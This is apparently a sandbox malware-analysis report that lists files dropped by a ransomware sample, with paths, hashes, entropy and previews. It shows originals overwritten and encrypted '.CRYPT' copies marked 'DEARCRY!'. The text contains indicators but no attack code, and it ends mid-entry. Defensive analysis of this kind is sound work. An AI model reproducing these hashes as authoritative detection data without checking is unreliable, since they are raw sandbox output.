                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):177712
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkg:Ye
                                                              MD5:AB158D17866D65A9C3D7D8CE6FC2F95B
                                                              SHA1:E52FDD06C4745F7036B164B660D56237DBDD99E8
                                                              SHA-256:FC6613910FE92AB412A2C77158EFDE3705747D4049FF3A251D7EDB658BD240A0
                                                              SHA-512:12828B753EACE9E8762FECFE8FE05B15FE34AE90EE4D54C8139BC9ADAC1A977A93B9532694EA297E6021A1D366836F59A14379C5E776BBC9179C49BDDEA803C7
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):178008
                                                              Entropy (8bit):7.999115975992381
                                                              Encrypted:true
                                                              SSDEEP:3072:Rdq1OVXojeur4FcGMOOPfwR5Q7SlKL9Wk51W07J1s3Gf7i/HmNPw+oTVFrqLugIT:HBV4jeQ4mTbgR+7vMq1BFq3Gf7i/mPwt
                                                              MD5:2CC0D3DDB5B8A852672F30EA813F6884
                                                              SHA1:73B08C1DC8935A6915F7258398D732890C15D572
                                                              SHA-256:7BFAE9D58C7EFF30FC01572F0B51E181F92E49E2FC8EEB3359FB7E4E59E23BDC
                                                              SHA-512:16F40AA099429120868A1E89EAED9935DE06B3108D0ABEE05B55B9ACDC2EA8E0B4DD659EFC7710089F587EDC64D8D7537162460917465EEDBF6FFF789AFA1653
                                                              Malicious:true
                                                              Preview: DEARCRY!.......3a.....o.h..fj6..d..#@..[.Si...&...,..c...T......5.Y1ZB.f.'G/Ln7<V.;..U{...q..8.J1X....%.xl...h.X1.D/....S...)........[.@o..6...h.&.Qp.@.....e..Y.D...,....S..gG82..G...Wt..x.4oJ[O...M.....p..^Sj.'@.=6..b.q.T.K.K.....&Y.Yz.."....kd.>..W`.yh.....0.........[;.JGAN...;.?.]..Z..V........!6w&..A....]..y...}....C..I4 :,...1h..a.N....\.[W..v..|.3d|#.@a..s.....y.....IN..)B.x..a.......j.........t..?M.i.e!J.......U2L.m?y....F....../.....<(.:v&.E<..Z..U...h.W.S).R:..p.[m...h........$e.(...'h>wf."fi..E!.I.[A.........../!&pp[.%D.Ro.).M.~.5D.:..[.....F...e..g.W....Wb.X..=.I....~.w...8.h{'ZEpq._....l......uA.......\.g..s7..y..A......5h..T==*...q.+..Fz.[...K..k.j....O.....b7].}.O>...I..Ph............|y.C....h.7..o.B.g.$....D@.P.f.u...n+h.1&'...F..n.....&u..._.g.9..m...._{R.T. ....*....?.....a..Q...f.-3....N.....q....%R.4.Y..j.]...5IV-..+.$....mg...Ukk.R.....!.9../.'....Z....n.p../.H,3...^.....x-.K..,.......v..e....%....0)...;dr.YZ9.9%:\.S.a.
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):608
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:WttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkQ:YO
                                                              MD5:8603AAE2A9433EC411EA7D3461EC572B
                                                              SHA1:B83FAA503BB5B2A46D3CD9A4D21F9137BEB42B91
                                                              SHA-256:884BC61731251D341B969EFF97C65413CD93D3DAD84C835EBFD711D8C9CA3A54
                                                              SHA-512:F36302B338C9C07F9A9F1DEED98F068EB86D6C94B56FB0D575687384352CC1C3CE9BDA8750A11B68A0A0AF9AFF9D2FE6BC652C9753E2B2B49A33477B346771D7
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):904
                                                              Entropy (8bit):7.760799432479835
                                                              Encrypted:false
                                                              SSDEEP:12:rOx84UQskL+L9mMjw42WW3zx2P7eCVzqHPZ5W9U0/S4EP5dEwt9EA41qxe5KcVaF:wHqLZmX5zx0hhmPPVlZP5dzwA8qeBO
                                                              MD5:50DDF3D5C89986D21792521E79A09724
                                                              SHA1:17411B52F18EED7890F58ED15EF5E026E9139CD2
                                                              SHA-256:78EEF4CB8930094CF4D3C73888A9C6671DB9AA970FA40D5A5E854DAE78E45A3A
                                                              SHA-512:EE2FCD37F374294278D02CF8C7D0B7D07240808C9968AB8DF8357A54A646BCAC7D78E5A6392E0D78238B5A2B9A54D7CF9B42271A49C0413CD6C78FC8BE96A9AD
                                                              Malicious:false
                                                              Preview: DEARCRY!....".F..m[.0..u..K..rU../..m.,.1&b..k>..S.ZS...f.P.hcI..].Su)..v:..5..m.G!L.O..F...}.Q;t.......B] .eS..V..1...9...1..[t.Si..4.xk.R..>D......6.Y..xM.T.S0..d.|....=.'...T..Y.......a.O;$...8..K.)^.......GZ..J5..yT.b...sh..?,~...!J....R4...3./.$.....`.......]...5....?..`..>........)...,|4..7J|BCg..R-...E....V..D.n.*...Ct..57-...!yU..V...V6P.O............T..:.5<...Q..G.....P... .u.yV... ....qs......Lu^...l.0e..eQ.WbA.D.\!7.C......>..b...RZ4.qP.JmA.....v..............qw..x@..".F......4.v....Cl.;......g........O.#...k.dj..tR...g..!.Q;>...qDT.1.._...ug.y;8.[.]...q'%......'......o.m.P{...5...1..h...V.u.b..8\...Qd...cp......-..^.(-m...CH..Pj.p.`v.....*..........W*HI.p.Qp...."...}...v.....^...d..l'..r..z8....'..A.....b]}....D..w....^/.S..(sF.......w.Im....46.-r.d..F..s..".2..w../.....P.DCA.c.n#...}.P.....Lx|[r....lq....Jq.e...>.U.0o.`@..
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):464880
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkg:Ye
                                                              MD5:6AB001E42130AC0573E8D2BE25FD3F35
                                                              SHA1:F1A8B80DB52ABAAB4C43156E2AEE36868D52D1A9
                                                              SHA-256:921CD561D1F1D33BCA7B7F6B75D472E7FE4C06F66A6A589EE8D46AE0EAC843AA
                                                              SHA-512:C287C9F5E30524EA09D135E50078205D5076780A7FA1DB3645D30E673EB0DE47481C3C08C63BEE38941082AFD73B5E47EA9465E132B69EEFC0EFF49ADFA501EA
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):465176
                                                              Entropy (8bit):7.999572952866299
                                                              Encrypted:true
                                                              SSDEEP:12288:rwo79c2nmzLndBWUtjGZmQgYKRDlCP9w9X8+xscLMqIOrcxJ:sQP21tj5YKRwDPCBIlxJ
                                                              MD5:CD6830EF37FA27837FDA52D1559180C2
                                                              SHA1:841C294FE7BAAC3B101FB334D46833B1368CBF35
                                                              SHA-256:7773EA9D0444CE6C5F8603CDDEB888FBEA36566AF08D46AC0D49A4FA73052171
                                                              SHA-512:2AE5CB5C4A607DE3F4C1C8F94F624DD648EBB87C61ADC6F64419B42989E4BAC5B202EC2DF5607E7466F259CA513F200C6F09BE05A7AAF35066B3E3DB4321F078
                                                              Malicious:true
                                                              Preview: DEARCRY!....l*V.2.'....D.]-...p[.&....^n..c...e...d6.A&N<..n,..Z~....M..1.....W.~..y;.....aH.....M...K_..h..<!.ro..Fe..t#....4..,NE...Ay.B.|..K.;L.F....nr...k.?.l..z%..............BN....M.2..,?@0Ap..!N[z.I&].....X..*.n...7X..FH.}r......./.W...I....-=...............|As.....f...*....?[....C:Z...i3.X.ijPv..q.e.Z.%n.N...8....'O.ypLZ|o/...Y....NW}.....0..D"...1[...p..-..U:..l.1.a....<-.Ib.?.`......*...wv@.1....<....>P.J...vN...}...../.j.Q...B%@P.y......d.en..Nu.b...a5W.{.RF....A_......./......)...rN....j..hP7.7e_.y..\.~|..P_...".ga..(...n.....UF..q...{...I.Q5....... ....u.7.H....1..y_.Xo....L.>#..BV.v.'d...0.Y..h..f{.z.GJ....F..3Z..<.8~_0.'uv.PBU..JA.../.....oV.\...'...9..8c..9.......TM....vb..PB.......V2RB>..(........6,.....Y....z.......N.OZ..%X......W.C.=....y'.f.......LC.s$."Td...p9..e.PRDbA...(..V5|.."p.yL....R{...I.........i....RJ.[....w.]........3...>.3.;.7...~Ld...k.R.\....l.%.|b..._QL..7.%..S.....f.z......W...^. .....W.i....
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):214
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkm:Y0
                                                              MD5:D4019C6CB58AE0DFDEC1AA92FDE90415
                                                              SHA1:36315FB6D2E06DC73CC15C191A30E76AC09B3D6C
                                                              SHA-256:6BF207754DB6B212A391E63428AB267D4648446443B2EB1583C9F09AEAACF096
                                                              SHA-512:2B4BE5852CAEEFF9804CF8DACC60B95B80B4211081A4F8C5D6DD805C65476427B2DEC48F61521F1FCDAB90085EC0DB759BFDF1F91BD37F30F0FF11EDD1484ABB
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):504
                                                              Entropy (8bit):7.526067313915595
                                                              Encrypted:false
                                                              SSDEEP:12:rOSdRSTAT5m/ofnQrDLBJ28oqxlEoXNLoBH0gk:lsMT5m/oPB5o6k
                                                              MD5:74CFE33E8F4D7622F0A0020D73E78CFB
                                                              SHA1:A764EE6868792A1ECFC3183B452760449D9DF7C1
                                                              SHA-256:6D6C5B91BDA81639F9F59D3A8E284C6BD0536711F0B3552F561D52C5E21403F1
                                                              SHA-512:08E15F37AB04D03EF46CFA82EA1E02558020F951BE05DACE814A55CEEF534CAA22BBBCC95495763BAA0E48291A5D71B8099F093C80C7965D509CED94BAA13511
                                                              Malicious:false
                                                              Preview: DEARCRY!....K.....f..f=...A..?.4H...G.....Y..V. ...%?e....0||].M.W.k....3C..tD.|.L..J.l...G...'||.eSL..'.]J$....$C..@..u[..%8...-,..L.ia........>7.gL....^*A'...9&]m0....~x9.......qI.. 3`...R...!..m........X..I{.^..~...3"...&P../.t.....8.W.)....D.w..i;....-..d.e................1Z.CQ.....U1...}.l.A.ZD../.....vJ....u.(....|..u:. ...k...[F.-..*{.....z........Z...$.!.Uo#.C..`..}...A..A.h.K&P......^j*..x..2.5iP..n2;.P.p...k^....4.Y....?.M+....P.Z..q. ..>...p.g.A!U.../...U].....(_...9..9.f.
                                                              C:\ProgramData\Microsoft OneDrive\setup\refcount.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):25
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkn:YT
                                                              MD5:1995DA96CD16A48CEBCBC08424F6F945
                                                              SHA1:A92B995E293D295C4BBAB7043CCCB030BEF47488
                                                              SHA-256:6724431FC312BA42C98B38B8595A49749419526AA89722C77A85C6C813DFDB5A
                                                              SHA-512:04704D934BBD42582FE7D6FB96E1ED8CF36ABD1A43466B39A00A6D87DE7681501081D4EF69FF4C9FA1CDF0CF36BD32AF6FF24994ED059A6F1D7E722C3A4F90B0
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft OneDrive\setup\refcount.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.201507486609387
                                                              Encrypted:false
                                                              SSDEEP:6:rOkMh5FkOB02Q6O2AZGsGN1sben+eYnv+xKUmBMGuxqnaWWdnbN2Xuu:rOlHB02Qt0+1nGsU7GWlbN2X3
                                                              MD5:7E58E7D3B2F04C8F651FE4B34689A130
                                                              SHA1:F2448A838C657279B4B49C53118626FE13E0E5C1
                                                              SHA-256:FB276090606073F43BC1E5CFF5DE00A974937CB3E8FF5BA00EDDD9A0B4232A92
                                                              SHA-512:DBE095127CF1A75A4BEB42D336A423A03587C3C42F65C063B4529C1E19FFA91EDF73F2DD499A69C6F85770A3DD8D614242875913AE29BA5DBAF299078598D7BD
                                                              Malicious:false
                                                              Preview: DEARCRY!..........l..q9.*....4.V1.J........-#.^....S..\.k.F4.j.7Q.....b....W...TjN...`X...c.......f[...V2.'.?K..|..z.^.[\?#..|D.....W....y#.......a&..(.......?..MjM.I`U.L...(..q.0.%..Y+v..*..r.18X.....!.M.I,zX......c..mn;......q.^..U5..Z.7.A..K.!........................9......mT-.|.m.nw3H+,b...D
                                                              C:\ProgramData\Microsoft\Diagnosis\WindowsAnalytics\analyticsevents.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):876
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkks:YK
                                                              MD5:143116A4EC10866DF93B12F65DB3C393
                                                              SHA1:7757C51AF3E48024C7D5FA03830D45D7304599C5
                                                              SHA-256:6915A95BAB526955821B4206744186AF1BFA7329064049D08FDF47FE31012DD6
                                                              SHA-512:216B73D32360D21A8BE57690A29C0E1E24B2D3837AF81FEAFAC215F71AC28B327F615129BEAB19466A668CE6E67F66338D1CFFD5D16C7926E68459F39FE71DA6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Diagnosis\WindowsAnalytics\analyticsevents.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1160
                                                              Entropy (8bit):7.835007760344896
                                                              Encrypted:false
                                                              SSDEEP:24:TBYjv1TGX6O20Sz1ebj5WektG80da2vKSJcLJ44l2O1CU:kT+6O20SRaczG80HvJ4uO1H
                                                              MD5:F7655CC7A34CF73FE2183944A02C2C67
                                                              SHA1:A91B6B4DB40DC17DFE8596A1C716ADE1066A3E9D
                                                              SHA-256:90C6C83CBC1A87B10541BAD4E1AE43DC35FC6C7AEFA8005D09EB54ECF62ED086
                                                              SHA-512:5611A42503FD7EC7B778C9D9540FB64F8F062E32EDE3B930B57216119E8F6DC2C422C4DBF2FB9B8020ED19C3ACC5518866A76E834A05F2C94DF1871C103D6692
                                                              Malicious:false
                                                              Preview: DEARCRY!......kE4..._.L..,.d....o.]o..F...V@.?.m..QJ."e..>..0.k.Y..v^G....@...~...<.M......$..;...x..&.k..8. ....}.J..7.~.n..k..).@.ude.......P~..".P8r....d.@.C....<J(y......F\.Qc.k6Y...DMk..Q.....S4.%7.......cC...SDs.A..*;...X.O.8..,BT/..I.}u.9D.HC....Q,........l........Wzk`1yO.K P..ts.s7a.. r...n*...P....p9(s.Up...E.f....8_...q.\_T.r&.!j/x..?..@...?B...`Z..L.k`;...\.+U.6....Q..r.p.M.pda.U.(Wg........].j..aF.a...(........@.H2l,.[u.....Q.5..?9.*..4tA.....!W.h./Cl..h..{;a.......g..'...#.....[`..w~.Q.4..a.....s.<....Rw...zc..n..9.gB..,......+..u.;<W...wTB.r.o..C........1..,.]$s...e.S.L..Wo.4.RZ......%.r.e.....d.y..(...o[.@.v..?....n.:.yE3~...v...........x.x.IS....e .P.g...gr!.......{.@...VVS(...k.M../............ ..JAZ.A>..........&..p._0Y.+....Kp`..V..e.Ny.I......T1...RF.n..4.C.*....}......:.)V..0eQ.H......\..L.q>...... &X.I.....$...t.=!mOm.8.....`...e;....~.k.f...S....@...W)..2:.+.2.2..;m..0W/......pF..S...-.&r..............1.I...DD.
                                                              C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12746
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkq:YY
                                                              MD5:ACDADA551710858499CBDFAF8134EBD0
                                                              SHA1:DFEF2499504118B730C534EF8E7D91A04DC3008F
                                                              SHA-256:5F6EE56E356ED6DEB2D63FB86A6121B4AE64282953AA741EE93D2EE7F34DA203
                                                              SHA-512:6E873AADB8C0F5C179FA22490C73BF115C48FD9C35AF228AE84AE983F7784238D605C2B333F11DE79724F3CF83C5108A312352802711838A3C43B1CE924FF6F2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13032
                                                              Entropy (8bit):7.987642876117711
                                                              Encrypted:false
                                                              SSDEEP:192:6qztY/pUQeGDxvcCAOZwh6nHQxg3BAH16SVHVj3R6Y8dJye218d9ZdBDGZ9G1:ttY/qGd4Ww8wxFHPHVkNKe21gKA1
                                                              MD5:EF7EE68368CA6BD4DECF48FD03C41B05
                                                              SHA1:C81544AC5B9D54639FEB35892BEC4B79EEBB5372
                                                              SHA-256:73064E0EBA4961DB1F3DB12DACEF87207E6BE333D4510A7D2E4D39D30B8BBA81
                                                              SHA-512:F003905ABB3D1DFB4772F633977B5CADF6F52ABCD8CD378AC93B1C13A8B44C347281FC1865FE04BFFB52D6BA0B1175AE098D239E5ED3ADF25785A459212850E5
                                                              Malicious:false
                                                              Preview: DEARCRY!........>..q5.L.e:.........}...%.l`.oF5r.lc.:7..g..H;m..{.V...X..>:.....w.^..z..n.p....9.x...)..V.DS..T..Y.......\..ax..):.../..@ZVQ..|.f..S...0..>..M.p.!z.Qk..&%Pe.=...*..C.P.\.g....m...?/......}.e.f.zN+.@.f.Dl.....#....D6Tmw.....(S......y....Y.....1........[3.......^...6.1.p....-.5..1G..q9.4*.*...B .9%.C.....c ....%..d..'vh.g..V...R....op....bP.......9.3.5HRQ...~Gcr....6h...`...a....."lt.3....k.M`.$.._:....M]..uE..n.8.f8.....d=^.".:&.]..y...%^?.z..[...A.....HOX..R&....0+..z....&.M.w;v7...>...E9`w.....4i.....h.j.F......q{^m!|.........V^..$o..aU..I..+.+....>.q...{..*.*^6R...Gc........x......`...%.......Wt...<.y....-. ....9.....+s.........-jE..;F.(.].x.......i.Z..OJs..."/......+|."..*......;2.^8=/..a.u..zFcGUGR&[.D...4H.I.>#y.i....Z.t..4.~..{..i4.%......:....f{.....}=....u.%2.G.A.....cX..y..f8g.....n_..X.tr..0+|S.u..~(cq..EO{..lREW..M...|..(...9..)..ae.....Ry.7......... ..<.;...-.>._:.M._K.....}Z..w.W..(_'.. ;N.w:V.......{....
                                                              C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):124660
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
